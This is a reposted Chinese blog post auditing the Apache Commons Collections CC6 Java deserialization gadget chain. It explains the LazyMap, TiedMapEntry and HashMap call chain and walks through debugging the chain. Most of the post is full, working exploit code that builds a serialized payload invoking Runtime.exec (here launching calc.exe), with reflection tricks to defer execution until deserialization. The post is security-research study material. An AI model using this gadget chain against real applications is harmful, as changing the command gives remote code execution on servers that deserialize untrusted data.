欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 家装 > Apache-CC6链审计笔记

Apache-CC6链审计笔记

2025/7/1 0:29:21 来源:https://blog.csdn.net/weixin_63279914/article/details/145737420  浏览:    关键词:Apache-CC6链审计笔记

java-CC6链审计笔记

一、审计过程

1、lazyMap

在之前CC1的审计中发现ChainedTransformer的transform方法还可以被LazyMap的get方法调用

image-20250218210701660

public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}

所以只要令factory的值为ChainedTransformer对象,则可以实现调用。而protected final Transformer factory; 则定义了factory是一个类属性,所以只要能够通过构造方法对类属性进行赋值,则可以实现对象的传递。

protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");}this.factory = factory;}

同时,还需要令 if (map.containsKey(key) == false) 条件满足,则说明Map对象中不能包含对应的Key值,则才会进入If语句中进行调用。

CC1扩展

接下来寻找谁在调用LazyMap的get方法,通过Find Usage找到了3000多个匹配的地方,其中也包含AnnotationInvocationHandler

其实这也是CC1链的一个扩展,但是由于仍然是对AnnotationInvocationHandler进行反序列化,同样不适用于新版本JDK,所以该链不进行审计。

2、TiedMapEntry

发现Common Collections库中的TiedMapEntry调用了get方法。

image-20250219091945857

谁在调用getValue方法,发现同类中的hashCode方法在调用。

image-20250219092303638

而哪里有hashCode呢,其实在审计UrlDNS链时已经知道了,HashMap就存在hashCode方法,且HashMap本身就重写了readObject,可以较好地实现反序列化和自动调用。所以CC6相对是比较容易理解的,而且不依赖于JDK版本,实用性也很高。目前确定的调用链如下:

java.io.ObjectInputStream.readObject()java.util.HashMap.put()java.util.HashMap.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()

二、编写链条利用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Factory factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();// cc6.unserializeCC6();};
}

image-20250219110438126

成功弹出计算机

这只是在序列化,并没有反序列化他就弹出了计算器。同时报错Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

我们在下面解决这个问题

三、异常调试

由于HashMap的put方法会导致提前调用hashCode()方法,从而在序列化的时候就命令执行

Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

这个报错也是Runtime在执行方法时的底层类实现类对象,由于ProcessImpl对象不能被序列化而导致的报错

我们使用ChainedTransformer的Transform()方法一步一步循环从而得到了Runtime类。所以我们在lazyMap实例化的时候不传入ChainedTransformer对象,而是传入一个其他无意义的类。在通过反射的方式修改JVM已经加载的LazyMap对象。修改之后在进行序列化。

LazyMap实例化

LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));

反射修改

Class<? extends LazyMap> Clazz = Lazymap.getClass();
Field factory = Clazz.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazymap, chainedTransformer);

修改后

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");// 在执行put之后,反射修改LazyMap对象的factory属性Class<? extends LazyMap> Clazz = Lazymap.getClass();Field factory = Clazz.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazymap, chainedTransformer);FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();cc6.unserializeCC6();};
}

现在没有报错了,但是他也不弹计算机了。我们调试一下看是哪里的问题

image-20250219124737295

看到if语句里的表达式为false,所以没有调用factory.transform(key)方法

这是因为在map.put(tiedMapEntry, “lingx5”)执行时,触发TiedMapEntry的hashCode方法调用LazyMap.get(“lingx5”)该key来自TiedMapEntry构造时的第二个参数。此时LazyMap的factory仍是初始值,但根据LazyMap特性,若key不存在会自动创建条目,导致"lingx5"被注入到初始空HashMap中。

我们继续修改,把key(lingx5)删除

// 反射和直接删除都是可以的,因为remove的修饰符是public/*	反射删除Method remove = Clazz.getMethod("remove", Object.class);remove.invoke(Lazymap, "lingx5");*/// 直接删除Lazymap.remove("lingx5");

四、最终代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");// 在执行put之后,反射修改LazyMap对象的factory属性Class<? extends LazyMap> Clazz = Lazymap.getClass();Field factory = Clazz.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazymap, chainedTransformer);// 删除名为ingx5的key/*Method remove = Clazz.getMethod("remove", Object.class);remove.invoke(Lazymap, "lingx5");*/Lazymap.remove("lingx5");FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();cc6.unserializeCC6();};
}

image-20250219131859662

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词